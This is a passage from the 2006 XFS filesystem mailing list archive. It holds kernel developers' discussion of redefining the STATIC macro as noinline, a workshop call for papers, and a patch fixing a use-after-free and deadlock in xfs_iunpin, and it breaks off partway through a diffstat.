<20060929032856.8DA9C18001A5E@sandeen.net> <23F15D6AE8566A54B81188AC@timothy-shimmins-power-mac-g5.local> <45338DDE.8020903@sandeen.net> <4533FAEA.2080500@sandeen.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4533FAEA.2080500@sandeen.net> User-Agent: Mutt/1.4.2.1i X-archive-position: 9310 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Mon, Oct 16, 2006 at 04:34:34PM -0500, Eric Sandeen wrote: > Eric Sandeen wrote: > > Timothy Shimmin wrote: > >> Okay, started looking :-) > > One other thing, based on the bug on osdl today, some of these larger > newly-static functions should probably be marked noinline to keep gcc > from doing things we don't want it to... This is not an obvious compiler hint (compared to, say, likely()) as the functions gcc automatically inlines changes according to compiler version, optimisation level and platform. Hence adding noinline notation will be like playing whack-a-mole and I doubt it will be consistently used or maintained moving forward. It's the wrong solution, IMO. I think we should change the definition of STATIC so we don't have to poison the code to work around some stupid compiler behaviour. That is, unless we specifically say "inline" for static functions, we really mean "noinline". This will also make debugging easier because we won't get stack traces that are apparently missing functions and all the associated pain that this can cause. Thoughts? Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Mon Oct 16 16:56:31 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 16:56:38 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9GNuVaG016588 for ; Mon, 16 Oct 2006 16:56:31 -0700 X-ASG-Debug-ID: 1161042946-21808-202-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from slurp.thebarn.com (cattelan-host202.dsl.visi.com [208.42.117.202]) by cuda.sgi.com (Spam Firewall) with ESMTP id 13201D196C28 for ; Mon, 16 Oct 2006 16:55:46 -0700 (PDT) Received: from [127.0.0.1] (lupo.thebarn.com [10.0.0.10]) (authenticated bits=0) by slurp.thebarn.com (8.13.8/8.13.8) with ESMTP id k9GNtiSq097739; Mon, 16 Oct 2006 18:55:44 -0500 (CDT) (envelope-from cattelan@thebarn.com) X-ASG-Orig-Subj: Re: [PATCH 1/2] Make stuff static Subject: Re: [PATCH 1/2] Make stuff static From: Russell Cattelan To: David Chinner Cc: Eric Sandeen , Timothy Shimmin , xfs@oss.sgi.com In-Reply-To: <20061016232250.GM11034@melbourne.sgi.com> References: <20060929032856.8DA9C18001A5E@sandeen.net> <23F15D6AE8566A54B81188AC@timothy-shimmins-power-mac-g5.local> <45338DDE.8020903@sandeen.net> <4533FAEA.2080500@sandeen.net> <20061016232250.GM11034@melbourne.sgi.com> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-6b2+Uh5CBg5be/cnvjPz" Date: Mon, 16 Oct 2006 18:55:43 -0500 Message-Id: <1161042943.5723.117.camel@xenon.msp.redhat.com> Mime-Version: 1.0 X-Mailer: Evolution 2.8.0-1mdv2007.0 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23424 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9311 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: cattelan@thebarn.com Precedence: bulk X-list: xfs Status: O --=-6b2+Uh5CBg5be/cnvjPz Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2006-10-17 at 09:22 +1000, David Chinner wrote: > On Mon, Oct 16, 2006 at 04:34:34PM -0500, Eric Sandeen wrote: > > Eric Sandeen wrote: > > > Timothy Shimmin wrote: > > >> Okay, started looking :-) > >=20 > > One other thing, based on the bug on osdl today, some of these larger > > newly-static functions should probably be marked noinline to keep gcc > > from doing things we don't want it to... >=20 > >=20 > This is not an obvious compiler hint (compared to, say, likely()) as > the functions gcc automatically inlines changes according to > compiler version, optimisation level and platform. Hence adding > noinline notation will be like playing whack-a-mole and I doubt it > will be consistently used or maintained moving forward. It's the > wrong solution, IMO. >=20 > I think we should change the definition of STATIC so we don't have > to poison the code to work around some stupid compiler behaviour. > That is, unless we specifically say "inline" for static functions, > we really mean "noinline". So you are proposing? /* non-debug */ #define STATIC static inline /* debug */ #define STATIC noinline That doesn't sound right that would inline everything that is static which probably not a good idea in terms of stack usage. #define STATIC static noinline ? That doesn't work either ... STATIC inline=20 becomes static noline inline? >=20 > This will also make debugging easier because we won't get stack > traces that are apparently missing functions and all the associated > pain that this can cause. >=20 > Thoughts? >=20 > Cheers, >=20 > Dave. --=20 Russell Cattelan --=-6b2+Uh5CBg5be/cnvjPz Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.5 (GNU/Linux) iD8DBQBFNBv/NRmM+OaGhBgRAngwAJ9pD29OeW9vfof44oerTS23UO3R5gCbBV60 qoW3FFl09AGeYyRS68mCBm4= =H6Ot -----END PGP SIGNATURE----- --=-6b2+Uh5CBg5be/cnvjPz-- From owner-xfs@oss.sgi.com Mon Oct 16 17:51:35 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 17:51:43 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9H0pVaG024752 for ; Mon, 16 Oct 2006 17:51:34 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA26003; Tue, 17 Oct 2006 10:50:44 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9H0of7Y9153489; Tue, 17 Oct 2006 10:50:43 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9H0occp9155809; Tue, 17 Oct 2006 10:50:38 +1000 (AEST) Date: Tue, 17 Oct 2006 10:50:38 +1000 From: David Chinner To: Russell Cattelan Cc: David Chinner , Eric Sandeen , Timothy Shimmin , xfs@oss.sgi.com Subject: Re: [PATCH 1/2] Make stuff static Message-ID: <20061017005038.GN11034@melbourne.sgi.com> References: <20060929032856.8DA9C18001A5E@sandeen.net> <23F15D6AE8566A54B81188AC@timothy-shimmins-power-mac-g5.local> <45338DDE.8020903@sandeen.net> <4533FAEA.2080500@sandeen.net> <20061016232250.GM11034@melbourne.sgi.com> <1161042943.5723.117.camel@xenon.msp.redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1161042943.5723.117.camel@xenon.msp.redhat.com> User-Agent: Mutt/1.4.2.1i X-archive-position: 9312 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Mon, Oct 16, 2006 at 06:55:43PM -0500, Russell Cattelan wrote: > On Tue, 2006-10-17 at 09:22 +1000, David Chinner wrote: > > On Mon, Oct 16, 2006 at 04:34:34PM -0500, Eric Sandeen wrote: > > > Eric Sandeen wrote: > > > > Timothy Shimmin wrote: > > > >> Okay, started looking :-) > > > > > > One other thing, based on the bug on osdl today, some of these larger > > > newly-static functions should probably be marked noinline to keep gcc > > > from doing things we don't want it to... > > > > > > > > This is not an obvious compiler hint (compared to, say, likely()) as > > the functions gcc automatically inlines changes according to > > compiler version, optimisation level and platform. Hence adding > > noinline notation will be like playing whack-a-mole and I doubt it > > will be consistently used or maintained moving forward. It's the > > wrong solution, IMO. > > > > I think we should change the definition of STATIC so we don't have > > to poison the code to work around some stupid compiler behaviour. > > That is, unless we specifically say "inline" for static functions, > > we really mean "noinline". > So you are proposing? > /* non-debug */ > #define STATIC static inline > /* debug */ > #define STATIC noinline No. Currently STATIC is defined in fs/xfs/support/debug.h as: #ifndef STATIC #define STATIC static #endif I'm proposing that gets changed to: > #define STATIC static noinline This. > That doesn't work either ... > STATIC inline > becomes > static noline inline? Fix them - inline functions in header files should always be "static inline". Inline functions in .c files should always be static as well - if they need to be accessed from different source files then they need to be in header files. Hence "STATIC inline" is broken code and should be fixed anyway. Luckily, there are very few of these to fix and they are all in .c files: chook 137% grep -rIw "STATIC inline" fs/xfs | wc -l 21 Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Mon Oct 16 18:04:48 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 18:04:57 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9H14laG026232 for ; Mon, 16 Oct 2006 18:04:48 -0700 X-ASG-Debug-ID: 1161047043-27594-549-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from sandeen.net (sandeen.net [209.173.210.139]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2D456D19B91E for ; Mon, 16 Oct 2006 18:04:03 -0700 (PDT) Received: from [10.0.0.4] (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTP id 648351809E77A; Mon, 16 Oct 2006 20:03:46 -0500 (CDT) Message-ID: <45342BF3.8020609@sandeen.net> Date: Mon, 16 Oct 2006 20:03:47 -0500 From: Eric Sandeen User-Agent: Thunderbird 1.5.0.7 (Macintosh/20060909) MIME-Version: 1.0 To: David Chinner CC: Russell Cattelan , Timothy Shimmin , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 1/2] Make stuff static Subject: Re: [PATCH 1/2] Make stuff static References: <20060929032856.8DA9C18001A5E@sandeen.net> <23F15D6AE8566A54B81188AC@timothy-shimmins-power-mac-g5.local> <45338DDE.8020903@sandeen.net> <4533FAEA.2080500@sandeen.net> <20061016232250.GM11034@melbourne.sgi.com> <1161042943.5723.117.camel@xenon.msp.redhat.com> <20061017005038.GN11034@melbourne.sgi.com> In-Reply-To: <20061017005038.GN11034@melbourne.sgi.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23424 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9313 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: sandeen@sandeen.net Precedence: bulk X-list: xfs Status: O David Chinner wrote: >> So you are proposing? >> /* non-debug */ >> #define STATIC static inline >> /* debug */ >> #define STATIC noinline > > No. > > Currently STATIC is defined in fs/xfs/support/debug.h as: > > #ifndef STATIC > #define STATIC static > #endif > > I'm proposing that gets changed to: > >> #define STATIC static noinline > > This. This sounds reasonable to me, David. -Eric From owner-xfs@oss.sgi.com Mon Oct 16 18:23:07 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 18:23:12 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9H1N2aG029209 for ; Mon, 16 Oct 2006 18:23:06 -0700 Received: from pcbnaujok (pc-bnaujok.melbourne.sgi.com [134.14.55.58]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA26844; Tue, 17 Oct 2006 11:22:15 +1000 Message-Id: <200610170122.LAA26844@larry.melbourne.sgi.com> From: "Barry Naujok" To: "'Roger Willcocks'" , Subject: RE: LEAFN node level is N -- bogus warning Date: Tue, 17 Oct 2006 11:25:34 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 Thread-Index: AcbWiQIO3vmH5hUpR6KsZczEKOP0cAbAgZsg X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2962 In-Reply-To: <002601c6d687$ad012420$6701a8c0@BODDINGTON> X-archive-position: 9314 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: bnaujok@melbourne.sgi.com Precedence: bulk X-list: xfs Status: O Hi Roger, Just to let you know, I now have a filesystem that is displaying this warning, so I am looking into it in combination with your patch. I'll let you know how it goes. Regards, Barry. > -----Original Message----- > From: xfs-bounce@oss.sgi.com [mailto:xfs-bounce@oss.sgi.com] > On Behalf Of Roger Willcocks > Sent: Wednesday, 13 September 2006 2:23 AM > To: xfs@oss.sgi.com > Subject: LEAFN node level is N -- bogus warning > > In xfs_repair / dir2.c there's a check for the 'level' of a > directory leaf node within the btree hierarchy. A warning > 'LEAFN node level is N' is generated if the level >= 1. > > But leaf nodes don't have a /level/ member, although internal > nodes do (compare xfs_dir2_leaf_hdr_t and xfs_da_intnode_t). > xfs_repair is actually testing leaf->hdr.stale - so the > warning is bogus. > > The attached patch removes the test and make the relationship > between magic numbers and pointer types more explicit. > > -- > Roger > > > From owner-xfs@oss.sgi.com Mon Oct 16 18:51:22 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 18:51:40 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9H1pKaG001033 for ; Mon, 16 Oct 2006 18:51:21 -0700 X-ASG-Debug-ID: 1161045728-8506-615-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mexforward.lss.emc.com (mexforward.lss.emc.com [128.222.32.20]) by cuda.sgi.com (Spam Firewall) with ESMTP id 6A4B14ADE6C for ; Mon, 16 Oct 2006 17:42:08 -0700 (PDT) Received: from mailhub.lss.emc.com (nirah.lss.emc.com [10.254.144.13]) by mexforward.lss.emc.com (Switch-3.1.7/Switch-3.1.7) with ESMTP id k9H0etbP003472; Mon, 16 Oct 2006 20:40:55 -0400 (EDT) Received: from [10.4.20.247] ([10.4.20.247]) by mailhub.lss.emc.com (Switch-3.1.8/Switch-3.1.7) with ESMTP id k9H0el81004544; Mon, 16 Oct 2006 20:40:47 -0400 (EDT) Message-ID: <4534268E.9030201@emc.com> Date: Mon, 16 Oct 2006 20:40:46 -0400 From: Ric Wheeler User-Agent: Mozilla Thunderbird 1.0.7 (X11/20050923) X-Accept-Language: en-us, en MIME-Version: 1.0 To: linux-fsdevel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, reiserfs-list@namesys.com, ext2-devel@lists.sourceforge.net, linux-ide@vger.kernel.org, ocfs2-devel@oss.oracle.com, linux-scsi@vger.kernel.org CC: lsf07pc@usenix.org X-ASG-Orig-Subj: CFP: Linux 2007 File System & IO Workshop Subject: CFP: Linux 2007 File System & IO Workshop Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-PMX-Version: 4.7.1.128075, Antispam-Engine: 2.4.0.264935, Antispam-Data: 2006.10.16.170942 X-PerlMx-Spam: Gauge=, SPAM=2%, Reasons='EMC_FROM_0+ -2, __CP_URI_IN_BODY 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __USER_AGENT 0' X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.23429 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9315 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: ric@emc.com Precedence: bulk X-list: xfs Status: O On February 12-13, we have put together a combined Linux file system & IO 2-day workshop in San Jose, CA. Note that the USENIX File System and Storage Technologies conference follows us in the same venue, so we hope to get some interaction between the two groups as well as leverage the USENIX people to help us get this done. For more information, please see: http://www.usenix.org/events/lsf07/ Please direct question to the program committee members. If you want to hit all of us in one go, you can use: lsf07pc@usenix.org Regards, ric * * From owner-xfs@oss.sgi.com Mon Oct 16 19:03:18 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 19:03:25 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9H23DaG003136 for ; Mon, 16 Oct 2006 19:03:16 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id MAA27911; Tue, 17 Oct 2006 12:02:22 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9H22K7Y9174248; Tue, 17 Oct 2006 12:02:21 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9H22IuA9117445; Tue, 17 Oct 2006 12:02:18 +1000 (AEST) Date: Tue, 17 Oct 2006 12:02:18 +1000 From: David Chinner To: Takenori Nagano Cc: xfs@oss.sgi.com Subject: Re: [patch] Fix xfs_iunpin() sets I_DIRTY_SYNC after clear_inode(). Message-ID: <20061017020218.GE8394166@melbourne.sgi.com> References: <45237CCE.4010007@ah.jp.nec.com> <20061006032617.GC11034@melbourne.sgi.com> <20061011064357.GN19345@melbourne.sgi.com> <452E32FF.8010109@ah.jp.nec.com> <20061013014651.GC19345@melbourne.sgi.com> <452F83BD.8050501@ah.jp.nec.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <452F83BD.8050501@ah.jp.nec.com> User-Agent: Mutt/1.4.2.1i X-archive-position: 9316 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Fri, Oct 13, 2006 at 09:17:01PM +0900, Takenori Nagano wrote: > Hi David, > > David Chinner wrote: > >> Block I/O performance degradation was very serious. > > > > That was unexpected. :/ > > > >> Now, I am trying to ease the degradation. > >> Do you have any idea for resolving the degradation? > > > > Did you see a degradation with your original fix? I suspect > > not. > > No, I don't see any degradation with my patch. > But my patch is not perfect. It still needs the iput() in xfs_iunpin() to do pushed off to an external thread because we can deadlock in xfslogd: Stack traceback for pid 123 0xe00000b9edda0000 123 19 0 0 D 0xe00000b9edda02f0 xfslogd/0 0xa0000001008352c0 schedule+0xf00 0xa000000100838650 schedule_timeout+0x110 0xa0000001003d55a0 xlog_state_sync_all+0x380 0xa0000001003d5d90 _xfs_log_force+0x210 0xa0000001004200f0 xfs_fs_clear_inode+0x2b0 0xa0000001001c9a20 clear_inode+0x200 0xa0000001001c9f60 generic_delete_inode+0x300 0xa0000001001ca320 generic_drop_inode+0x300 0xa0000001001c8e80 iput+0x180 0xa0000001003c99b0 xfs_iunpin+0x190 0xa0000001003cdb40 xfs_inode_item_unpin+0x20 0xa0000001003ee4c0 xfs_trans_chunk_committed+0x280 0xa0000001003ee730 xfs_trans_committed+0xd0 0xa0000001003d3e80 xlog_state_do_callback+0x520 0xa0000001003d4420 xlog_iodone+0x160 0xa0000001004274c0 xfs_buf_iodone_work+0x60 0xa0000001000eb640 run_workqueue+0x180 0xa0000001000eda00 worker_thread+0x260 0xa0000001000f6340 kthread+0x260 0xa0000001000121d0 kernel_thread_helper+0xd0 0xa0000001000094c0 start_kernel_thread+0x20 The patch I sent does not deadlock because it removed the igrab/iput in xfs_iunpin(). In my testing the performance penalty is identical for the patch you wrote and the one I wrote. In both cases performance is limited by the maximum number of log forces that can be issued, This results in about a 70% degradation in single threaded sequential deletes (from about 7,500/s to 2,500/s).... So, unconditional log forces are not the solution here - the code is neat, but the performance tradeoff is unacceptible. IOWs, to maintain performance we cannot do an unconditional log force in the ->clear_inode() path. Hmmm..... In doing the previous patch that removed the igrab/iput, I used the log force to provide synchronisation that prevented the unpin from ever seeing an invalid state and hence we couldn't ever get a use-after-free situation. What I failed to see was that we already have this mechanism - the i_flags_lock and the XFS_IRECLAIM* flags. If we synchronise the setting of either of the XFS_IRECLAIM* flags with the breakage of the bhv_vnode<->xfs_inode link, then we can never get the state in xfs_iunpin() where the link has been broken and the XFS_IRECLAIM* flags are not set. The current usage of the i_flags_lock in xfs_iunpin is sufficient to provide this guarantee, but we are breaking the link before setting the XFS_IRECLAIMABLE flag in xfs_reclaim().... So, here's another patch that doesn't have the performance problems, but removes the iput/igrab while still (I think) fixing the use after free problem. Can you try this one out, Takenori? I've run it through some stress tests and haven't been able to trigger problems. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group --- fs/xfs/xfs_inode.c | 44 +++++++++++++++++++++----------------------- fs/xfs/xfs_vnodeops.c | 21 ++++++++++++++------- 2 files changed, 35 insertions(+), 30 deletions(-) Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.c 2006-10-16 15:55:18.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.c 2006-10-17 10:03:19.586174311 +1000 @@ -2739,41 +2739,39 @@ xfs_iunpin( ASSERT(atomic_read(&ip->i_pincount) > 0); if (atomic_dec_and_test(&ip->i_pincount)) { + /* - * If the inode is currently being reclaimed, the - * linux inode _and_ the xfs vnode may have been - * freed so we cannot reference either of them safely. - * Hence we should not try to do anything to them - * if the xfs inode is currently in the reclaim - * path. + * If the inode is currently being reclaimed, the link between + * the bhv_vnode and the xfs_inode will be broken after the + * XFS_IRECLAIM* flag is set. Hence, if these flags are not + * set, then we can move forward and mark the linux inode dirty + * knowing that it is still valid as it won't freed until after + * the bhv_vnode<->xfs_inode link is broken in xfs_reclaim. The + * i_flags_lock is used to synchronise the setting of the + * XFS_IRECLAIM* flags and the breaking of the link, and so we + * can execute atomically w.r.t to reclaim by holding this lock + * here. * - * However, we still need to issue the unpin wakeup - * call as the inode reclaim may be blocked waiting for - * the inode to become unpinned. + * However, we still need to issue the unpin wakeup call as the + * inode reclaim may be blocked waiting for the inode to become + * unpinned. */ - struct inode *inode = NULL; spin_lock(&ip->i_flags_lock); if (!__xfs_iflags_test(ip, XFS_IRECLAIM|XFS_IRECLAIMABLE)) { bhv_vnode_t *vp = XFS_ITOV_NULL(ip); + struct inode *inode = NULL; - /* make sync come back and flush this inode */ - if (vp) { - inode = vn_to_inode(vp); + BUG_ON(vp == NULL); + inode = vn_to_inode(vp); + BUG_ON(inode->i_state & I_CLEAR); - if (!(inode->i_state & - (I_NEW|I_FREEING|I_CLEAR))) { - inode = igrab(inode); - if (inode) - mark_inode_dirty_sync(inode); - } else - inode = NULL; - } + /* make sync come back and flush this inode */ + if (!(inode->i_state & (I_NEW|I_FREEING))) + mark_inode_dirty_sync(inode); } spin_unlock(&ip->i_flags_lock); wake_up(&ip->i_ipin_wait); - if (inode) - iput(inode); } } Index: 2.6.x-xfs-new/fs/xfs/xfs_vnodeops.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_vnodeops.c 2006-10-16 15:55:18.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_vnodeops.c 2006-10-17 10:27:38.447315865 +1000 @@ -3827,11 +3827,16 @@ xfs_reclaim( */ xfs_synchronize_atime(ip); - /* If we have nothing to flush with this inode then complete the - * teardown now, otherwise break the link between the xfs inode - * and the linux inode and clean up the xfs inode later. This - * avoids flushing the inode to disk during the delete operation - * itself. + /* + * If we have nothing to flush with this inode then complete the + * teardown now, otherwise break the link between the xfs inode and the + * linux inode and clean up the xfs inode later. This avoids flushing + * the inode to disk during the delete operation itself. + * + * When breaking the link, we need to set the XFS_IRECLAIMABLE flag + * first to ensure that xfs_iunpin() will never see an xfs inode + * that has a linux inode being reclaimed. Synchronisation is provided + * by the i_flags_lock. */ if (!ip->i_update_core && (ip->i_itemp == NULL)) { xfs_ilock(ip, XFS_ILOCK_EXCL); @@ -3840,11 +3845,13 @@ xfs_reclaim( } else { xfs_mount_t *mp = ip->i_mount; - /* Protect sync from us */ + /* Protect sync and unpin from us */ XFS_MOUNT_ILOCK(mp); + spin_lock(&ip->i_flags_lock); + __xfs_iflags_set(ip, XFS_IRECLAIMABLE); vn_bhv_remove(VN_BHV_HEAD(vp), XFS_ITOBHV(ip)); + spin_unlock(&ip->i_flags_lock); list_add_tail(&ip->i_reclaim, &mp->m_del_inodes); - xfs_iflags_set(ip, XFS_IRECLAIMABLE); XFS_MOUNT_IUNLOCK(mp); } return 0; From owner-xfs@oss.sgi.com Mon Oct 16 20:10:30 2006 Received: with ECARTIS (v1.0.0; list xfs); Mon, 16 Oct 2006 20:10:37 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9H3APaG012355 for ; Mon, 16 Oct 2006 20:10:27 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id NAA29289; Tue, 17 Oct 2006 13:09:38 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9H39Z7Y9196418; Tue, 17 Oct 2006 13:09:36 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9H398ue9193522; Tue, 17 Oct 2006 13:09:08 +1000 (AEST) Date: Tue, 17 Oct 2006 13:09:08 +1000 From: David Chinner To: Eric Sandeen Cc: David Chinner , Russell Cattelan , Timothy Shimmin , xfs@oss.sgi.com Subject: Re: [PATCH 1/2] Make stuff static Message-ID: <20061017030908.GP11034@melbourne.sgi.com> References: <20060929032856.8DA9C18001A5E@sandeen.net> <23F15D6AE8566A54B81188AC@timothy-shimmins-power-mac-g5.local> <45338DDE.8020903@sandeen.net> <4533FAEA.2080500@sandeen.net> <20061016232250.GM11034@melbourne.sgi.com> <1161042943.5723.117.camel@xenon.msp.redhat.com> <20061017005038.GN11034@melbourne.sgi.com> <45342BF3.8020609@sandeen.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <45342BF3.8020609@sandeen.net> User-Agent: Mutt/1.4.2.1i X-archive-position: 9317 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Mon, Oct 16, 2006 at 08:03:47PM -0500, Eric Sandeen wrote: > David Chinner wrote: > > >>So you are proposing? > >>/* non-debug */ > >>#define STATIC static inline > >>/* debug */ > >>#define STATIC noinline > > > >No. > > > >Currently STATIC is defined in fs/xfs/support/debug.h as: > > > >#ifndef STATIC > >#define STATIC static > >#endif > > > >I'm proposing that gets changed to: > > > >>#define STATIC static noinline > > > >This. > > This sounds reasonable to me, David. Of course, no plan ever survives contact with the enemy. :/ STATIC is also used for defining various structure tables. And variables. They'll all get changed to "static".... Then there's __inline and __inline__ still used in places..... The patch that follows does the noinline change, de-inlines xfs_cleanup_inode() and cleans up all the inline cruft hanging around. Comments? Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group --- fs/xfs/dmapi/xfs_dm.c | 6 +++--- fs/xfs/linux-2.4/mrlock.c | 2 +- fs/xfs/linux-2.4/xfs_buf.c | 30 +++++++++++++++--------------- fs/xfs/linux-2.4/xfs_file.c | 8 ++++---- fs/xfs/linux-2.4/xfs_super.c | 14 +++++++------- fs/xfs/linux-2.4/xfs_vnode.h | 4 ++-- fs/xfs/linux-2.6/xfs_aops.c | 2 +- fs/xfs/linux-2.6/xfs_buf.c | 24 ++++++++++++------------ fs/xfs/linux-2.6/xfs_export.c | 2 +- fs/xfs/linux-2.6/xfs_file.c | 8 ++++---- fs/xfs/linux-2.6/xfs_iops.c | 4 ++-- fs/xfs/linux-2.6/xfs_super.c | 16 ++++++++-------- fs/xfs/linux-2.6/xfs_sysctl.c | 6 +++--- fs/xfs/linux-2.6/xfs_vfs.c | 5 +++-- fs/xfs/linux-2.6/xfs_vnode.c | 2 +- fs/xfs/linux-2.6/xfs_vnode.h | 4 ++-- fs/xfs/quota/xfs_dquot_item.c | 6 +++--- fs/xfs/quota/xfs_qm.c | 6 